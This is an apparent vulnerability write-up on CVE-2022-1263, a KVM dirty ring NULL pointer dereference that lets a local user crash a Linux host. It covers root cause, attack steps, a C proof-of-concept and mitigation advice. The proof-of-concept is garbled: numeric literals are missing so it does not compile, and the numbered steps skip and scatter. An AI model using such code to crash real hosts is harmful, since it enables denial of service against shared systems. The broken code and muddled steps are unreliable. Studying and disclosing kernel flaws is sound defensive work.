A significant vulnerability identified as CVE-2022-1263 was discovered in the Kernel-based Virtual Machine (KVM) subsystem of the Linux kernel. This flaw makes certain KVM hosts susceptible to a denial of service (DoS) by allowing a local, unprivileged attack to crash the host kernel. In this article, we will dive deep into the issue, with simple explanations and code snippets to illustrate the bug, its exploitability, and mitigation approaches.
What is KVM and Dirty Ring Support?
- KVM (Kernel-based Virtual Machine) is a virtualization module in the Linux kernel that allows the kernel to function as a hypervisor.
- Dirty Ring is a feature that optimizes memory dirty page tracking for live migration and other virtualization tasks by using a ring buffer for efficient communication between user space and kernel space.
Description of the Flaw
CVE-2022-1263 is a NULL pointer dereference in the KVM codebase. It occurs when a virtual CPU (vCPU) with dirty ring support is being released. Through carefully crafted IOCTL system calls, a local, unprivileged user can trigger the flaw—causing the kernel to ‘oops’ (crash and possibly panic). This leads to a denial of service on the entire host machine.
- The attacker does not need special privileges—just the ability to run processes on the host with KVM access.
The flaw was introduced into the upstream code in
- Commit link: kvm: x86: wiring up dirty ring with vcpu lifecycle
The patch fixing this can be seen here
- Patch reference: kvm: x86: Null check dirty_ring before cleanup
Root Cause Analysis
The issue lies in the lack of a NULL check for the vcpu->dirty_ring pointer when releasing a vCPU. Under certain race conditions or sequences of IOCTL calls, this pointer can be still NULL, yet the cleanup code attempts to free it, resulting in an *Oops* — a critical kernel error.
Here’s a simplified pseudo-snippet that shows the problem logic
// File: arch/x86/kvm/x86.c
static void kvm_vcpu_release_dirty_ring(struct kvm_vcpu *vcpu)
{
kfree(vcpu->dirty_ring->dirty_pages); // <--- No NULL check
kfree(vcpu->dirty_ring); // <--- No NULL check
}
If vcpu->dirty_ring is NULL, dereferencing it here (with vcpu->dirty_ring->dirty_pages) will cause a kernel crash.
How an Attacker Can Exploit This
1. Obtain KVM Capabilities: The attacker only needs enough rights to access /dev/kvm. No root required.
Enable Dirty Ring: Use KVM's KVM_ENABLE_CAP IOCTL to turn on dirty ring support.
4. Invoke Destruction IOCTLs in Race: Issue a crafted series of vCPU destruction IOCTLs, possibly in a multi-threaded context or with abnormal sequences, to hit the vulnerable code path where vcpu->dirty_ring is still null when released.
Below is a simplified proof-of-concept
// Must compile as: gcc -O2 -o cve-2022-1263-poc cve-2022-1263-poc.c
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/kvm.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
int main() {
int kvm = open("/dev/kvm", O_RDWR);
if (kvm < ) {
perror("open /dev/kvm");
return 1;
}
// Create VM
int vmfd = ioctl(kvm, KVM_CREATE_VM, (unsigned long));
if (vmfd < ) {
perror("KVM_CREATE_VM");
return 1;
}
// Create vCPU
int vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, (unsigned long));
if (vcpufd < ) {
perror("KVM_CREATE_VCPU");
return 1;
}
// Enable dirty ring (note: may require newer libkvm headers)
struct kvm_enable_cap cap = {
.cap = KVM_CAP_DIRTY_RING,
.args = { 1024 }, // num entries (example)
};
if (ioctl(vmfd, KVM_ENABLE_CAP, &cap) < ) {
perror("KVM_ENABLE_CAP");
// Still proceed to see if bug is present
}
// Now close FDs in odd order, or make repeated/parallel KVM_DESTROY_VCPU
// calls (this is where the race may hit)
close(vcpufd); // triggers vcpu release path
close(vmfd);
printf("Test complete. Check dmesg for kernel oops.\n");
return ;
}
Note: This code may need to be run a few times in parallel or with process forking to reliably trigger the race.
Impact
- Denial of Service: The main (and likely only) impact is a local DoS: the kernel oops causes the host to become unstable or reboot.
No privilege escalation or information disclosure is known via this bug.
- Cloud or multi-tenant platforms where untrusted users are granted KVM access are especially at risk.
Kernel logs: Check for Oops messages related to KVM in dmesg.
2. Loaded Dirty Ring Support: Applicable only if your host kernel supports and enables KVM’s dirty ring.
Mitigation Advice
- Apply kernel patches: Upgrade to a kernel version containing the fix (see patch).
- Restrict KVM device access: Only allow trusted users access to /dev/kvm.
References
- CVE-2022-1263 at NVD
- Upstream fix commit
- Linux KVM kernel code
Conclusion
CVE-2022-1263 serves as a reminder that even advanced kernel features like dirty ring require robust pointer checking. Local users with KVM access can easily bring down unpatched hosts by exploiting this bug. Patch your systems as soon as possible and restrict access to KVM features in shared environments.
Timeline
Published on: 08/31/2022 16:15:00 UTC
Last modified on: 09/07/2022 13:11:00 UTC